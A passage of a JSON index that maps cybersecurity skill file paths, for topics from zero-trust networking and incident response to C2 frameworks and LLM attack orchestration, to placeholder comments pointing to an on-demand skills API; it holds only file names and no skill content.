-->","skills/implementing-usb-device-control-policy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2FSKILL.md -->","skills/implementing-usb-device-control-policy/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Fassets%2Ftemplate.md -->","skills/implementing-usb-device-control-policy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Freferences%2Fapi-reference.md -->","skills/implementing-usb-device-control-policy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Freferences%2Fstandards.md -->","skills/implementing-usb-device-control-policy/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Freferences%2Fworkflows.md -->","skills/implementing-velociraptor-for-ir-collection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2FSKILL.md -->","skills/implementing-velociraptor-for-ir-collection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Fassets%2Ftemplate.md -->","skills/implementing-velociraptor-for-ir-collection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Freferences%2Fapi-reference.md -->","skills/implementing-velociraptor-for-ir-collection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Freferences%2Fstandards.md -->","skills/implementing-velociraptor-for-ir-collection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Freferences%2Fworkflows.md -->","skills/implementing-vulnerability-management-with-greenbone/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-management-with-greenbone%2FSKILL.md -->","skills/implementing-vulnerability-management-with-greenbone/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-management-with-greenbone%2Freferences%2Fapi-reference.md -->","skills/implementing-vulnerability-remediation-sla/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2FSKILL.md -->","skills/implementing-vulnerability-remediation-sla/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Fassets%2Ftemplate.md -->","skills/implementing-vulnerability-remediation-sla/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Freferences%2Fapi-reference.md -->","skills/implementing-vulnerability-remediation-sla/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Freferences%2Fstandards.md -->","skills/implementing-vulnerability-remediation-sla/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Freferences%2Fworkflows.md -->","skills/implementing-vulnerability-sla-breach-alerting/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2FSKILL.md -->","skills/implementing-vulnerability-sla-breach-alerting/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Fassets%2Ftemplate.md -->","skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Freferences%2Fapi-reference.md -->","skills/implementing-vulnerability-sla-breach-alerting/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Freferences%2Fstandards.md -->","skills/implementing-vulnerability-sla-breach-alerting/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Freferences%2Fworkflows.md -->","skills/implementing-web-application-logging-with-modsecurity/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-web-application-logging-with-modsecurity%2FSKILL.md -->","skills/implementing-web-application-logging-with-modsecurity/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-web-application-logging-with-modsecurity%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2FSKILL.md -->","skills/implementing-zero-knowledge-proof-for-authentication/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-knowledge-proof-for-authentication/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2Freferences%2Fstandards.md -->","skills/implementing-zero-knowledge-proof-for-authentication/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2Freferences%2Fworkflows.md -->","skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2FSKILL.md -->","skills/implementing-zero-standing-privilege-with-cyberark/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Fassets%2Ftemplate.md -->","skills/implementing-zero-standing-privilege-with-cyberark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-standing-privilege-with-cyberark/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Freferences%2Fstandards.md -->","skills/implementing-zero-standing-privilege-with-cyberark/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Freferences%2Fworkflows.md -->","skills/implementing-zero-trust-dns-with-nextdns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2FSKILL.md -->","skills/implementing-zero-trust-dns-with-nextdns/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Fassets%2Ftemplate.md -->","skills/implementing-zero-trust-dns-with-nextdns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-dns-with-nextdns/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Freferences%2Fstandards.md -->","skills/implementing-zero-trust-dns-with-nextdns/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Freferences%2Fworkflows.md -->","skills/implementing-zero-trust-for-saas-applications/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-for-saas-applications%2FSKILL.md -->","skills/implementing-zero-trust-for-saas-applications/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-for-saas-applications%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-in-cloud/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-in-cloud%2FSKILL.md -->","skills/implementing-zero-trust-in-cloud/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-in-cloud%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2FSKILL.md -->","skills/implementing-zero-trust-network-access-with-zscaler/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Fassets%2Ftemplate.md -->","skills/implementing-zero-trust-network-access-with-zscaler/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-network-access-with-zscaler/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Freferences%2Fstandards.md -->","skills/implementing-zero-trust-network-access-with-zscaler/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Freferences%2Fworkflows.md -->","skills/implementing-zero-trust-network-access/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access%2FSKILL.md -->","skills/implementing-zero-trust-network-access/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-with-beyondcorp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-beyondcorp%2FSKILL.md -->","skills/implementing-zero-trust-with-beyondcorp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-beyondcorp%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2FSKILL.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Fassets%2Ftemplate.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Freferences%2Fstandards.md -->","skills/implementing-zero-trust-with-hashicorp-boundary/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-with-hashicorp-boundary%2Freferences%2Fworkflows.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2FSKILL.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Fassets%2Ftemplate.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Freferences%2Fapi-reference.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Freferences%2Fstandards.md -->","skills/integrating-dast-with-owasp-zap-in-pipeline/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-dast-with-owasp-zap-in-pipeline%2Freferences%2Fworkflows.md -->","skills/integrating-sast-into-github-actions-pipeline/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2FSKILL.md -->","skills/integrating-sast-into-github-actions-pipeline/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Fassets%2Ftemplate.md -->","skills/integrating-sast-into-github-actions-pipeline/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Freferences%2Fapi-reference.md -->","skills/integrating-sast-into-github-actions-pipeline/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Freferences%2Fstandards.md -->","skills/integrating-sast-into-github-actions-pipeline/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintegrating-sast-into-github-actions-pipeline%2Freferences%2Fworkflows.md -->","skills/intercepting-mobile-traffic-with-burpsuite/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2FSKILL.md -->","skills/intercepting-mobile-traffic-with-burpsuite/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Fassets%2Ftemplate.md -->","skills/intercepting-mobile-traffic-with-burpsuite/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Freferences%2Fapi-reference.md -->","skills/intercepting-mobile-traffic-with-burpsuite/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Freferences%2Fstandards.md -->","skills/intercepting-mobile-traffic-with-burpsuite/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fintercepting-mobile-traffic-with-burpsuite%2Freferences%2Fworkflows.md -->","skills/investigating-insider-threat-indicators/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-insider-threat-indicators%2FSKILL.md -->","skills/investigating-insider-threat-indicators/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-insider-threat-indicators%2Freferences%2Fapi-reference.md -->","skills/investigating-phishing-email-incident/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-phishing-email-incident%2FSKILL.md -->","skills/investigating-phishing-email-incident/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-phishing-email-incident%2Freferences%2Fapi-reference.md -->","skills/investigating-ransomware-attack-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-ransomware-attack-artifacts%2FSKILL.md -->","skills/investigating-ransomware-attack-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Finvestigating-ransomware-attack-artifacts%2Freferences%2Fapi-reference.md -->","skills/managing-cloud-identity-with-okta/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-cloud-identity-with-okta%2FSKILL.md -->","skills/managing-cloud-identity-with-okta/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-cloud-identity-with-okta%2Freferences%2Fapi-reference.md -->","skills/managing-intelligence-lifecycle/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-intelligence-lifecycle%2FSKILL.md -->","skills/managing-intelligence-lifecycle/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-intelligence-lifecycle%2Freferences%2Fapi-reference.md -->","skills/managing-third-party-vendor-risk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-third-party-vendor-risk%2FSKILL.md -->","skills/managing-third-party-vendor-risk/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-third-party-vendor-risk%2Fassets%2Ftemplate.md -->","skills/managing-third-party-vendor-risk/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmanaging-third-party-vendor-risk%2Freferences%2Fstandards.md -->","skills/mapping-attack-paths-with-bloodhound-ce/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-attack-paths-with-bloodhound-ce%2FSKILL.md -->","skills/mapping-attack-paths-with-bloodhound-ce/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-attack-paths-with-bloodhound-ce%2Freferences%2Fapi-reference.md -->","skills/mapping-attack-paths-with-bloodhound-ce/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-attack-paths-with-bloodhound-ce%2Freferences%2Fstandards.md -->","skills/mapping-mitre-attack-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-mitre-attack-techniques%2FSKILL.md -->","skills/mapping-mitre-attack-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmapping-mitre-attack-techniques%2Freferences%2Fapi-reference.md -->","skills/migrating-to-post-quantum-cryptography/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmigrating-to-post-quantum-cryptography%2FSKILL.md -->","skills/migrating-to-post-quantum-cryptography/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmigrating-to-post-quantum-cryptography%2Freferences%2Fapi-reference.md -->","skills/migrating-to-post-quantum-cryptography/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmigrating-to-post-quantum-cryptography%2Freferences%2Fstandards.md -->","skills/modeling-threats-with-opencti/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmodeling-threats-with-opencti%2FSKILL.md -->","skills/modeling-threats-with-opencti/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmodeling-threats-with-opencti%2Freferences%2Fapi-reference.md -->","skills/modeling-threats-with-opencti/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmodeling-threats-with-opencti%2Freferences%2Fstandards.md -->","skills/monitoring-darkweb-sources/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-darkweb-sources%2FSKILL.md -->","skills/monitoring-darkweb-sources/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-darkweb-sources%2Freferences%2Fapi-reference.md -->","skills/monitoring-scada-modbus-traffic-anomalies/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-scada-modbus-traffic-anomalies%2FSKILL.md -->","skills/monitoring-scada-modbus-traffic-anomalies/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmonitoring-scada-modbus-traffic-anomalies%2Freferences%2Fapi-reference.md -->","skills/moving-laterally-with-netexec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmoving-laterally-with-netexec%2FSKILL.md -->","skills/moving-laterally-with-netexec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmoving-laterally-with-netexec%2Freferences%2Fapi-reference.md -->","skills/moving-laterally-with-netexec/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmoving-laterally-with-netexec%2Freferences%2Fstandards.md -->","skills/operating-havoc-c2/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-havoc-c2%2FSKILL.md -->","skills/operating-havoc-c2/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-havoc-c2%2Freferences%2Fapi-reference.md -->","skills/operating-havoc-c2/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-havoc-c2%2Freferences%2Fstandards.md -->","skills/operating-sliver-c2/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-sliver-c2%2FSKILL.md -->","skills/operating-sliver-c2/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-sliver-c2%2Freferences%2Fapi-reference.md -->","skills/operating-sliver-c2/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-sliver-c2%2Freferences%2Fstandards.md -->","skills/operationalizing-misp-threat-feeds/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperationalizing-misp-threat-feeds%2FSKILL.md -->","skills/operationalizing-misp-threat-feeds/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperationalizing-misp-threat-feeds%2Freferences%2Fapi-reference.md -->","skills/operationalizing-misp-threat-feeds/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperationalizing-misp-threat-feeds%2Freferences%2Fstandards.md -->","skills/orchestrating-llm-attacks-with-pyrit/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Forchestrating-llm-attacks-with-pyrit%2FSKILL.md -->","skills/orchestrating-llm-attacks-with-pyrit/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Forchestrating-llm-attacks-with-pyrit%2Freferences%2Fapi-reference.md -->","skills/orchestrating-llm-attacks-with-pyrit/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Forchestrating-llm-attacks-with-pyrit%2Freferences%2Fstandards.md -->","skills/parsing-artifacts-with-eric-zimmerman-tools/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fparsing-artifacts-with-eric-zimmerman-tools%2FSKILL.md -->","skills/parsing-artifacts-with-eric-zimmerman-tools/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fparsing-artifacts-with-eric-zimmerman-tools%2Freferences%2Fapi-reference.md -->","skills/parsing-artifacts-with-eric-zimmerman-tools/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fparsing-artifacts-with-eric-zimmerman-tools%2Freferences%2Fstandards.md -->","skills/performing-access-recertification-with-saviynt/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2FSKILL.md -->","skills/performing-access-recertification-with-saviynt/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Fassets%2Ftemplate.md -->","skills/performing-access-recertification-with-saviynt/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Freferences%2Fapi-reference.md -->","skills/performing-access-recertification-with-saviynt/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Freferences%2Fstandards.md -->","skills/performing-access-recertification-with-saviynt/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Freferences%2Fworkflows.md -->","skills/performing-access-review-and-certification/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2FSKILL.md -->","skills/performing-access-review-and-certification/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Fassets%2Ftemplate.md -->","skills/performing-access-review-and-certification/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Freferences%2Fapi-reference.md -->","skills/performing-access-review-and-certification/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Freferences%2Fstandards.md -->","skills/performing-access-review-and-certification/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Freferences%2Fworkflows.md -->","skills/performing-active-directory-bloodhound-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2FSKILL.md -->","skills/performing-active-directory-bloodhound-analysis/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Fassets%2Ftemplate.md -->","skills/performing-active-directory-bloodhound-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-active-directory-bloodhound-analysis/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Freferences%2Fstandards.md -->","skills/performing-active-directory-bloodhound-analysis/references/workflows.md":"<!-- Skill available on-demand via 